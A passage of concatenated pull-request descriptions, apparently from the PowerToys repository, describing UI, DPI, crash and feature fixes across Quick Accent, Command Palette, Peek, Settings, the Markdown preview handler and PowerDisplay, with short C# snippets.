return WindowsFunctions.GetActiveDisplay().Size.Width - ScreenMinPadding;
}
```
`GetActiveDisplay` uses the `GetMonitorInfo` API, which exposes the
working area of the display. It returns its values in _raw unscaled
pixel_ values:
```csharp
public static (Point Location, Size Size, double Dpi) GetActiveDisplay()
{
...
var res = PInvoke.MonitorFromWindow(guiInfo.hwndActive, MONITOR_FROM_FLAGS.MONITOR_DEFAULTTONEAREST);
MONITORINFO monitorInfo = default;
monitorInfo.cbSize = (uint)Marshal.SizeOf(monitorInfo);
PInvoke.GetMonitorInfo(res, ref monitorInfo);
...
return (location, monitorInfo.rcWork.Size, dpi);
}
```
However, the `MaxWidth` property must be a _pre-scaled_ value, i.e. in
logical WPF units not physical pixels. The fix is straightforward:
```csharp
public double GetDisplayMaxWidth()
{
var activeDisplay = WindowsFunctions.GetActiveDisplay();
return (activeDisplay.Size.Width / activeDisplay.Dpi) - ScreenMinPadding;
}
```
### Popup positioning bug
This is related to a subtle DPI issue in `GetActiveDisplay()`:
```csharp
public static (Point Location, Size Size, double Dpi) GetActiveDisplay()
{
GUITHREADINFO guiInfo = default;
guiInfo.cbSize = (uint)Marshal.SizeOf(guiInfo);
PInvoke.GetGUIThreadInfo(0, ref guiInfo);
var res = PInvoke.MonitorFromWindow(guiInfo.hwndActive, MONITOR_FROM_FLAGS.MONITOR_DEFAULTTONEAREST);
MONITORINFO monitorInfo = default;
monitorInfo.cbSize = (uint)Marshal.SizeOf(monitorInfo);
PInvoke.GetMonitorInfo(res, ref monitorInfo);
double dpi = PInvoke.GetDpiForWindow(guiInfo.hwndActive) / 96d;
var location = new Point(monitorInfo.rcWork.left, monitorInfo.rcWork.top);
return (location, monitorInfo.rcWork.Size, dpi);
}
```
Here, the application window's DPI is returned. Unfortunately, the
window may report a value which is different from the monitor's own DPI
value. This will consistently happen if the application is not
Per-Monitor DPI-Aware, and the monitor is not at 100% Scale. The effects
are that the Quick Accent popup can appear misaligned or even off-screen
entirely. Quick Accent can still be used, but the user may not be able
to see what they are selecting.
As Quick Accent is using monitor coordinates for setting its location,
the solution is to use the monitor's own DPI value. The fix is to add
this in place of the `GetDpiForWindow` line:
```csharp
uint dpiRaw = 96; // Safe default
if (PInvoke.GetDpiForMonitor(res, MONITOR_DPI_TYPE.MDT_EFFECTIVE_DPI, out uint dpiX, out _) == 0)
{
dpiRaw = dpiX;
}
double dpi = dpiRaw / 96d;
```
### Selection bugs
After dismissing the Quick Accent window, the `_selectedIndex` state was
not properly reset. The next time the window opened, it could attempt to
scroll to or highlight an index that was out-of-bounds for the new
character set. This could result in glitching, such as the window
flashing the selection colour or the initial selection being incorrect.
In this fix, I:
1. Explicitly set `_selectedIndex` to `-1` when the UI hides.
2. Reset the `SelectedIndex` inside Selector.xaml.cs before updating the
`ItemsSource`.
### Shift key activation
In certain cases, a quick press of Shift could fail to move back through
the character list. In this fix, I:
1. Added a native fallback usign GetAsyncKeyState(VK_SHIFT).
2. Updated `ProcessNextChar()` to evaluate `shiftPressed ||
WindowsFunctions.IsShiftState()`.
3. Updated the multiple `if`s in `ProcessNextChar` to be an if/else
structure, to prevent bugs when more than one trigger key is pressed.
### Support added for multi-codepoint graphemes
The current code loops through each `char` of a mapping, calling
`SendInput` multiple times for multi-char sequences. This will fail for
multi-codepoint graphemes, i.e. where the mapping 'letter' is more than
one UTF-16 codepoint. Those characters may appear as `[]`. The amended
`Insert()` in `WindowsFunctions` appends all characters before calling
`SendInput`.
### Miscelleneous
- Added an `OnDpiChanged` handler for the Selector control, so changing
the DPI of the screen should be picked up automatically. (It's
questionable whether this is essential, as the DPI would have to change
while the control was displayed, but it's worth having for robustness.)
- Now using `SetWindowPos` instead of setting the `Left` and `Top` of
the popup control. Also now initialising the popup offscreen to attempt
to reduce flicker and the occurrence of blank window flashes.
- Changed the `Focusable` property of the characters `ListBox` to
`False`, to attempt to reduce flicker and the window flashing the
selector colour.
- Removed `Width` and added `MinWidth` to the letter control in
Selector.xaml. This allows for wider letters or longer multi-letter
mappings.
- Changed the `VirtualizingStackPanel` to a regular `StackPanel`. We do
not have mappings with enough entries for a virtual control to be
necessary, and using StackPanel seemed to have a positive effect on the
appearance of blank window glitches.
- Added `TextTrimming`, `TextWrapping` and `MaxHeight` to the unicode
description `TextBlock`. This helps support extremely long unicode
descriptions. Again, this will enable us to support longer
multi-character mappings in the future.
- Added CsWin32 to the PowerAccent.UI project, to support the
`SetWindowPos` call.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
See separate doc for full test details:
https://docs.google.com/document/d/19uClcUiv7RUDRlbFhazG-Cmu46oNmrAVoJf9bHSjSJU/edit?usp=sharing
---------
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Adds Greek Polytonic characters set to power accent, based on
https://github.com/microsoft/PowerToys/pull/29709
### PR Checklist
- [x] Closes#46941
- [x] Communication: I've discussed this with core contributors already.
- [ ] Tests: Not sure if there are specific tests for this
- [ ] Documentation updated: Power accent docs
### Detailed Description of the Pull Request / Additional comments
Added all greek polytonic letters to their corresponding english letter
(some duplicated)
(if you wondered about GRC -> ISO 639-3)
### Validation Steps Performed
Compiled and Observed Power Accent
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Dave Rayment <dave.rayment@gmail.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Renames the issue-triage GitHub Action to **Automatic Triaging on Issue
Creation** and removes the redundant `auto-label-product.yml` workflow.
This consolidates issue labeling/triage under a single workflow surface.
Also syncs this PR branch with the latest `main` via a merge commit to
keep it up to date with upstream.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- **Workflow rename**
- Updated `.github/workflows/auto-label-issues.yml`:
- `name: Auto-label Issues by Area` → `name: Automatic Triaging on Issue
Creation`
- Updated the manual-trigger comment to reference the new action name.
- **Workflow cleanup**
- Removed `.github/workflows/auto-label-product.yml` to eliminate
overlapping automation.
- **Branch sync requested in PR comments**
- Merged latest `origin/main` into this branch (`4f831bc`) to keep the
PR current.
```yaml
# .github/workflows/auto-label-issues.yml
name: Automatic Triaging on Issue Creation
```
## Validation Steps Performed
- Verified clean merge of `origin/main` into this PR branch (no merge
conflicts).
- Confirmed targeted workflow changes remain present after merge.
- Ran PR validation tooling:
- Code Review completed successfully.
- CodeQL scan timed out in validation tooling.
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
This PR reverts #47900: it causes an exception in the Release+AOT build
configuration when retrieving a storyboard from XAML resources and
casting it to a local field.
- [x] Closes: #47970
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
This PR updates the shell command provider to work (almost) exactly like
run. The current shell provider is close, but not technically correct.
It does enumerate files. Sure. But as it turns out, it doesn't enumerate
things **exactly** correctly. It doesn't handle network paths super
well. It doesn't handle NTFS file paths. Basically, there's a lot of
weird edge cases in the way the run dialog enumerates file paths for
suggestions. And the only way to match that is to just use the code from
the old run dialog.
This is code that is taken pretty verbatim from the new run dialog.
Instead of trying to enumerate paths manually and shellexecuting command
lines, We're using the actual APIs that the original run dialog used,
more or less. They've been pretty much ported to C#.
This should make us feel just as correct as the original run dialog did.
And exactly the same as the new Run dialog.
The one major change is the introduction of a static item at the top of
the list for running the command that the user typed. This command is
used to just immediately take whatever is in the search box and fire it
off as the command the user typed. This is essentially what happens with
the run dialog. When you press the button, we run the command in the
text box.
See: [The new Run dialog: faster, cleaner, and more capable - Windows
Command
Line](https://devblogs.microsoft.com/commandline/the-new-run-dialog-faster-cleaner-and-more-capable/)
Honestly, most of this PR is just deleting the files we no longer need
from the shell list provider and adding the tests from the OS side here.
I also had to update CsWinRT for this.
## Summary
Adds a Battery widget to the CmdPal Performance Monitor dock, exposing
live charge percentage, charging/AC status, and estimated time
remaining. The dock-band icon updates each tick to reflect the current
charge level and charging state, matching the existing
CPU/RAM/GPU/Network widget pattern.
Closes#47218
## Detail
- New `SystemBatteryUsageWidgetPage` in `PerformanceWidgetsPage.cs`,
mirroring the existing widget pattern.
- Data source: `GetSystemPowerStatus` via CsWin32 (AOT-safe), wrapped in
`BatteryStats` and surfaced through `SystemData` / `DataManager` on the
shared 1 s timer.
- Live dock-band icon: `Icons.cs` caches 23 `IconInfo` instances
(`BatteryIcons[0..10]`, `BatteryChargingIcons[0..10]`,
`BatteryUnknownIcon`); alloc-free `BatteryGlyph()` selects the glyph per
tick. Codepoints `0xEBA0`–`0xEBB5` / `0xEC02` (Segoe Fluent Icons
MobBattery family).
- Adaptive card template `SystemBatteryTemplate.json` registered as
`<None Update … PreserveNewest>`, consistent with the other PerfMon
templates.
- New `Battery_*` strings under `Strings\en-US\Resources.resw`.
- Handles `GetSystemPowerStatus` sentinels: `BatteryLifePercent == 255`,
`BatteryLifeTime == 0xFFFFFFFF`, `BatteryFlag == 0xFF`, `0x80` (no
battery), `0x08` (charging).
## Screenshots
<img width="1660" height="401" alt="image"
src="https://github.com/user-attachments/assets/6e26f10a-267b-4f6b-b43a-b2c63c092a6d"
/>
When the battery is at 100%, the widget will always show the "full" icon
(`MobBatteryCharging10`).
<img width="537" height="37" alt="image"
src="https://github.com/user-attachments/assets/d925a328-b9b6-4760-a488-f936910a1715"
/>
Otherwise and when on AC, it will show the "charging" variant of the
icon:
<img width="85" height="61" alt="image"
src="https://github.com/user-attachments/assets/065e3a53-c210-4d65-8ca2-02dccf63edf6"
/>
The icon also always reflects the current charging state: It resolves to
the correct glyph in both charging and discharging states, rounded to
the nearest 10% (so 0%, 10%, … 100%).
## How tested
- `MSBuild CommandPalette.slnf /p:Configuration=Release /p:Platform=x64
/m /restore` — green, 0 errors, 0 warnings.
- Launched dev `Microsoft.CmdPal.UI.exe`, opened PerfMon dock, confirmed
Battery widget renders charge %, status, time remaining, and that the
dock-band glyph matches the current charge level (verified on AC, on
battery, and while charging).
## Summary
Fixes#38317 — "Too many tags on a list item looks hilarious"
When CmdPal list items have many tags (e.g., GitHub issue labels), the
tag pills dominated the row and pushed the title text out of view.
### Changes
**Two-pronged fix:**
1. **Cap visible tags at 3** — ViewModel exposes `VisibleTags` (first 3)
and `OverflowTagText` (`+N`) properties. Original `Tags`/`HasTags`
bindings are preserved (no contract breaks).
2. **Overflow badge** — A `[+N]` badge appears when more than 3 tags
exist, reusing existing `Tag*` theme resources for visual consistency.
Includes `AutomationProperties.Name` for accessibility.
### Files Changed
| File | Change |
|------|--------|
| `ListItemViewModel.cs` | Added `MaxVisibleTags`, `VisibleTags`,
`OverflowTagCount`, `HasOverflowTags`, `OverflowTagText` properties and
`UpdateVisibleTags()` |
| `ListPage.xaml` | `ItemsRepeater` binds `VisibleTags`, wrapped in
`StackPanel` with overflow `Border` badge |
### Validation
- [x] Build clean (`Microsoft.CmdPal.UI.ViewModels` +
`Microsoft.CmdPal.UI`)
- [x] Handles 0, 1-3, and 4+ tags correctly
- [x] No ABI/contract breaks (original `Tags`/`HasTags` preserved)
- [x] Overflow badge reuses existing theme resources
- [x] Accessibility: `AutomationProperties.Name` on overflow badge
### Follow-up
- Overflow badge accessible name could be enriched (e.g., "+3 more tags"
instead of "+3")
### Screenshots
<img width="972" height="545" alt="image"
src="https://github.com/user-attachments/assets/327dcdd0-2e62-435a-9b07-0432189cc947"
/>
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Sets `IsLoading = true` before querying open windows in
`WindowWalkerListPage.GetItems()` and resets it in a `finally` block, so
the UI shows a loading indicator while Window Walker results are being
fetched.
Closes#38314
## PR Checklist
- [x] Closes: #38314
- [ ] **Communication:** I've discussed this with core contributors
already.
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
## Detailed Description
The Window Walker extension was not setting `IsLoading` during its
search operation. This meant users got no visual feedback that a search
was in progress. This follows the same pattern used by other extensions
(AllAppsPage, IndexerPage, etc.).
## Validation Steps Performed
- Verified the change follows existing patterns in AllAppsPage.cs and
IndexerPage.cs
- The try/finally ensures IsLoading is always reset even if Query throws
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Enables dragging dock bands between monitors in edit mode. Previously,
drag-and-drop only worked within bands on the same monitor's dock.
Closes#47920
## PR Checklist
- [x] Closes: #47920
- [ ] **Communication:** I've discussed this with core contributors
already.
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
## Detailed Description
The existing drag-and-drop implementation used a local `_draggedBand`
field per `DockControl` instance, which meant the target DockControl on
another monitor had no reference to the dragged band. This PR fixes that
by:
1. **DataPackage properties** — `DragItemsStarting` now stores the band
ID and source monitor device ID in `DataPackage.Properties`, making the
identity available to any drop target in the same process.
2. **Cross-window drop acceptance** — `DragOver` and `DragEnter` now
check for `DockBandId` in `DataView.Properties` in addition to the local
`_draggedBand` field.
3. **CrossMonitorBandDropMessage** — A new `WeakReferenceMessenger`
message coordinates removal from the source dock after a successful
cross-monitor drop.
4. **ViewModel methods** — `DockViewModel.AcceptBandFromMonitor()`
creates a new band ViewModel on the target dock using the same factory
pattern as `AddBandToSection`. `RemoveBandById()` handles cleanup on the
source dock.
Both methods call `EnsureMonitorForked()` to fork per-monitor band
settings from global when needed, maintaining the existing customization
model.
## Validation Steps Performed
- Verified existing same-monitor drag-and-drop behavior is preserved
(local path unchanged)
- Verified cross-monitor handler properly stores/retrieves DataPackage
properties
- Reviewed against existing patterns in DockControl (AddBandToSection,
MoveBandWithoutSaving)
---------
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Clicking **Reset** in the Quick Access hotkey shortcut dialog crashes
PowerToys Settings. The root cause is that `C_ResetClick` sets the
`HotkeySettingsProperty` DependencyProperty to `null`, which causes the
WinUI3 XAML runtime to dereference a null pointer during two-way binding
property-change notification — a native E_POINTER crash (0x80004003).
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Root Cause
`C_ResetClick` previously did:
```csharp
hotkeySettings = null;
SetValue(HotkeySettingsProperty, null);
```
The `HotkeySettingsProperty` is bound two-way (`{x:Bind Mode=TwoWay}`)
to the ViewModel. `SetValue(null)` synchronously triggers the binding
chain: ViewModel setter → `NotifyPropertyChanged` → XAML runtime reads
back the DP value → null pointer → **native E_POINTER crash** in
`CoreMessagingXP.dll`.
### Fix
Use `new HotkeySettings()` instead of `null` — matching the existing
`C_ClearClick` pattern that never crashes:
```csharp
// C_ResetClick — fixed
hotkeySettings = new HotkeySettings();
SetValue(HotkeySettingsProperty, hotkeySettings);
SetKeys();
lastValidSettings = hotkeySettings;
shortcutDialog.Hide();
```
An empty `HotkeySettings` (`IsEmpty() == true`) semantically means "no
shortcut configured" — the same intent as null, but the XAML binding
chain always has a valid object to dereference.
Also added null-conditional guards in `OpenDialogButton_Click` as
defense-in-depth:
- `HotkeySettings?.GetKeysList() ?? new List<object>()` ensures `c.Keys`
is never null, preventing `{x:Bind Keys.Count}` in
`ShortcutDialogContentControl.xaml` from throwing.
- `hotkeySettings?.HasConflict ?? false` and
`hotkeySettings?.ConflictDescription` guard the remaining property
accesses.
- A null guard in `Hotkey_KeyDown` prevents a crash if the user presses
keys after Reset.
## Validation Steps Performed
- Reproduced crash: Settings → General → Quick Access shortcut → Edit →
Reset → crash (before fix)
- Verified fix: Same steps → no crash, dialog closes cleanly, shortcut
shows as empty
- Verified reopening dialog after Reset works without crash
- Verified pressing keys in dialog after Reset works without crash
- Built and tested with full Runner IPC (debug PowerToys.exe → Settings)
---------
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: MuyuanMS <116717757+MuyuanMS@users.noreply.github.com>
Adds a **"Show file preview tooltip"** toggle to Peek's Behavior
settings, letting users disable the metadata tooltip (filename, type,
date modified, size) shown on hover over the preview.
## Changes
- **`PeekProperties`** — new `ShowFilePreviewTooltip: BoolProperty`
(default `true`)
- **`IUserSettings` / `UserSettings`** — expose the setting; updated by
the existing file watcher on settings change
- **`FilePreview.xaml`** — `ImagePreview` and `VideoPreview` now bind
`ToolTipService.ToolTip` directly to `InfoTooltip` (the same
attached-property form already used by `AudioControl`). The previous
explicit `<ToolTip Content="{x:Bind InfoTooltip}"/>` element form left a
`ToolTip` instance permanently attached, so nulling the content still
produced an empty popup on hover. With the attached-property form, a
`null` `InfoTooltip` detaches the tooltip entirely and no popup is
shown.
- **`FilePreview.xaml.cs`** — new `ShowFilePreviewTooltip`
DependencyProperty; sets `InfoTooltip = null` when disabled; re-triggers
`UpdateTooltipAsync` when re-enabled with a file loaded; `infoTooltip`
field changed to `string?`
- **`MainWindow.xaml.cs`** — reads setting from `IUserSettings` and
pushes it to `FilePreviewer.ShowFilePreviewTooltip` on each
`Initialize()` call, picking up the latest user preference each time
Peek activates
- **`PeekViewModel`** — `ShowFilePreviewTooltip` property for two-way
Settings UI binding
- **`PeekPage.xaml`** — toggle in the Behavior group, consistent with
existing toggles
- **`Resources.resw`** — localizable strings for header and description
## PR Checklist
- [x] Closes: #46621
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Setting defaults to `true` — no behavior change for existing users.
The tooltip is suppressed by setting `InfoTooltip` to `null` while bound
through `ToolTipService.ToolTip` as an attached property. A `null` value
on the attached property prevents WinUI from creating a tooltip popup at
all (this is the same pattern `AudioControl` already used and behaves
correctly with null). The earlier explicit `<ToolTip>` element form did
*not* behave this way — the `ToolTip` instance stayed attached and an
empty popup appeared on hover — so the XAML was switched to the
attached-property form on `ImagePreview` and `VideoPreview`. The custom
tooltip placement logic (top/bottom based on cursor Y) is unaffected.
## Validation Steps Performed
- Verified toggle appears in Peek Settings > Behavior
- Toggling off fully suppresses the hover tooltip on image, video, and
audio previews (no empty bubble)
- Toggling back on restores tooltip with file metadata on next file load
- Default `true` preserves existing behavior
<img width="688" height="99" alt="image"
src="https://github.com/user-attachments/assets/369d0ba7-fc9a-495e-9603-f4b2b95ba68e"
/>
<img width="692" height="305" alt="image"
src="https://github.com/user-attachments/assets/cb5dfc69-a445-46b0-9c0a-041fbf4c89c2"
/>
<img width="684" height="73" alt="image"
src="https://github.com/user-attachments/assets/8088caa7-9536-4384-91dc-dbdbbe0ae755"
/>
<img width="686" height="430" alt="image"
src="https://github.com/user-attachments/assets/0d9d2d6f-bc42-4497-89c5-06ac9c18a2b7"
/>
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
`NavigateToString` throws `ArgumentException` when previewing Markdown
files containing many multi-byte UTF-8 characters (e.g., CJK) — file
size exceeds 2MB but character count stays under 1.5M, bypassing the
guard.
## Summary of the Pull Request
The size guard in `MarkdownPreviewHandlerControl` used
`markdownHTML.Length` (character count / UTF-16 code units), but
WebView2's `NavigateToString` limit is measured in **bytes**. A string
with 700K CJK characters has only 700K `.Length` units but ~2.1MB of
UTF-8 bytes — enough to crash the API while passing the old check.
**Changes:**
- **`MarkdownPreviewHandlerControl.cs`**: Replace character-count guard
with UTF-8 byte count:
```csharp
// Before
if (markdownHTML.Length > 1_500_000)
// After
if (System.Text.Encoding.UTF8.GetByteCount(markdownHTML) > 1_500_000)
```
When the byte threshold is exceeded, content is written to a temp file
and loaded via `_browser.Source` instead of `NavigateToString` —
existing fallback path, now correctly triggered.
- **`MarkdownPreviewHandlerTest.cs`**: Added 3 regression tests to
prevent this class of bug from recurring:
1. Multi-byte UTF-8 content (CJK, <1.5M chars but >2MB bytes) →
temp-file navigation path
2. Small ASCII content within both thresholds → `NavigateToString` path
3. Large ASCII content exceeding 1.5M chars → temp-file navigation path
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The existing fallback (write HTML to a temp file, navigate via
`_browser.Source`) was already correct and handles arbitrarily large
content safely. The only bug was in the guard condition that decides
when to use it — it measured the wrong unit (characters vs. bytes).
Single-byte ASCII content is unaffected; only multi-byte Unicode content
was under-counted.
The tests use reflection to read the private `_localFileURI` field.
Since this field is set synchronously before `Controls.Add(_browser)`,
the check is race-free: once the wait loop exits with `Controls.Count >
0`, `_localFileURI` is guaranteed to have its final value.
## Validation Steps Performed
- Verified the fix by reasoning through the byte math: a file with 700K
CJK characters → `Length` = 700K (passes old check) → UTF-8 bytes ≈
2.1MB (fails new check → uses temp file path, no crash).
- Added 3 targeted unit tests in `UnitTests-MarkdownPreviewHandler`
covering the multi-byte threshold boundary; all 14 tests in the suite
pass (14/14).
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: MuyuanMS <116717757+MuyuanMS@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
1. Subscribes to GUID_CONSOLE_DISPLAY_STATE so PowerDisplay rescans
monitors when the console display wakes from sleep — previously, woken
monitors stayed unrecognized until the user manually re-triggered
discovery.
2. Locks the PowerDisplay UI immediately on wake to block stale
interactions before the rescan completes.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47951
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR moves storyboard that handles showing and hiding breadcrumbs in
Settings windows to a XAML resources.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
